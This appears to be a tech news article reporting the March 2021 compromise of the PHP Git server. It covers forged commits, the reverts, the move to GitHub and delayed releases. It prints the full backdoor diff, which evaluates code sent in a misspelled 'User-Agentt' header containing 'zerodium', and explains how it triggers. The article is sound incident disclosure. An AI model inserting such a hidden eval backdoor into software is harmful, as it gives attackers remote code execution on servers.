git.php.net
server compromised, move to GitHub, and delayed updates
Update on 7th of April, 2021 This story is outdated. See Update to recent PHP Git server incident
The official PHP Git server, git.php.net
, was compromised on Sunday 28th of March 2021. The attacker managed to impersonate two of the PHP maintainers, and placed a backdoor that would enable them to remotely execute code by sending a specially crafted HTTP request.
Prior to this incident, git.php.net
was the official PHP source code repository. This repo was being mirrored at GitHub (github.com/php/php-src). As a proactive method to after incident, the GitHub mirror is made the canonical repository to which all changes are pushed.
For the time being, the git.php.net
server is still available both as Git remote and Git Web. This server contains the fixes that removed the backdoor placed by the attacker. It will not receive latest changes, and will only serve as a read-only source to not break any existing links.
The Incident
On Sunday 28th of March 2021, git.php.net
server received two commits that impersonated the PHP project founder Rasmus Lerdorf and Nikita Popov. The commits had a message "[skip-ci] Fix typo", to presumably make them look trivial.
In Git, it is possible to set any name and any email address as the author, and it goes without saying that Rasmus and Nikita did not make these commits themselves.
The first commit (c730aa26
) had the name Rasmus Lerdorf as the commit author and committer. This commit introduced the backdoor that would execute any code contained in an HTTP header of a specially crafted HTTP header.
Nikita, one of the main PHP maintainers quickly spotted this, and reverted this commit. He revoked the access of Rasmus to git.php.net
. Just seven hours later, git.php.net
received a commit (2b0f239b
) with author name none other than Nikita Popov, that reintroduced the same backdoor code. Another PHP maintainer, Levi Morrison reverted the last commit that re-introduced the backdoor. There have been no further attacks since.
It is likely that the attacker gained access to the git.php.net
server, rather than access to Nikita's and Rasmus's devices.
Nikita then decided to make the GitHub repository (that was set as a mirror a long time ago) the canonical repository, and configure the GitHub php
organization to require 2FA on all accounts a security precaution.
Backdoor Placed
It is still not clear the real person behind this attack. However, the backdoor wasn't really trying to disguise itself.
git show c730aa26bd --pretty=fuller
commit c730aa26bd52829a49f2ad284b181b7e82a68d7d
Author: Rasmus Lerdorf <rasmus@lerdorf.com>
AuthorDate: Sun Mar 28 05:57:07 2021 +0200
Commit: Rasmus Lerdorf <rasmus@lerdorf.com>
CommitDate: Sun Mar 28 05:57:07 2021 +0200
[skip-ci] Fix typo
Fixes minor typo.
Signed-off-by: Rasmus Lerdorf <rasmus@lerdorf.com>
diff --git a/ext/zlib/zlib.c b/ext/zlib/zlib.c
index 02fb4dd207..6964407837 100644
--- a/ext/zlib/zlib.c
+++ b/ext/zlib/zlib.c
@@ -360,6 +360,17 @@ static void php_zlib_output_compression_start(void)
{
zval zoh;
php_output_handler *h;
+ zval *enc;
+
+ if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
+ (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
+ convert_to_string(enc);
+ if (strstr(Z_STRVAL_P(enc), "zerodium")) {
+ zend_try {
+ zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
+ } zend_end_try();
+ }
+ }
switch (ZLIBG(output_compression)) {
case 0:
Following the code added, it looks like the attacker was trying to place a backdoor that executes arbitrary PHP code the attacker sends.
If the attacker sends an HTTP request to a server running this compromised build of PHP, it would execute any code that is contained in the User-Agentt
header (notice the extra t in "Agent").
It also contains text REMOVETHIS: sold to zerodium, mid 2017
. Zerodium is a commercial organization that pays for zero-day and other exploits. Zerodium did not immediately responded to a request to confirm if this is a vulnerability they received.
Move to GitHub
Nikita quickly responded by making the current GitHub mirror the official repository for all PHP development.
This is not the first time the PHP project using GitHub; the PHP documentation is currently hosted and managed on GitHub. Further, the PHP mirror on GitHub was open pull-requests, and was the primary way of contributing to PHP.
Any existing Git remote URLs to git.php.net
must be updated to the GitHub URLs.
- New SSH remote URL:
git@github.com:php/php-src.git
- New HTTPS remote URL:
https://github.com/php/php-src.git
Git clone operations
- git clone https://git.php.net/repository/php-src.git
+ git clone https://github.com/php/php-src.git
Update existing remotes
git remote set-url origin git@github.com:php/php-src.git
All members of the php
organization on PHP is required to have Two-Factor Authentication setup, and it is also encouraged for all PHP collaborates and contributors to enable commit signing on GitHub.
Updates Delayed
As a precautionary measure, the upcoming patch releases PHP 8.0.4 and PHP 7.4.17 will be delayed by two weeks. This is to leave a bit more time to scrutinize the existing code base.
PHP 7.3 is currently in security-fixes phrase, which will also receive an update if any security issues are found.
The PHP security team is reachable via email at security@php.net.
FAQs
-
Do I need to update PHP? No. This backdoor was placed on the Git server, and there are no PHP releases containing that code. In fact, this backdoor was removed within 12 hours, which is pretty quick given it was on a Sunday.
-
What is the canonical PHP Git server? https://github.com/php/php-src.
-
Is
git.php.net
shut down? No. Not yet at least. There are no immediately plans to shut down this server as it would break several existing links to the Git Web instance running on this address. -
How long was
git.php.net
vulnerable? It is not clear yet. However,git.php.net
was immediately dropped as the canonical PHP Git repository, and this vulnerability should not be effective anymore. -
Are there any other backdoors? PHP.Watch and others PHP maintainers have their own copy of the Git repository, and we can confirm that the Git commit history was not rewritten. However, it is not guaranteed that the current code base is completely free of backdoors. The backdoor related to this incident was not trying to disguise itself. If you find anything unusual, please contact security@php.net.
-
wOw pHP sTiLl gOiNg HUh? (づ ̄ 3 ̄)づ
Further resources
- Backdoor commits:
c730aa26
,2b0f239b
- Fixes:
046827a7
,8d743d52
- Discussion on PHP Internals
- github.com/php/php-src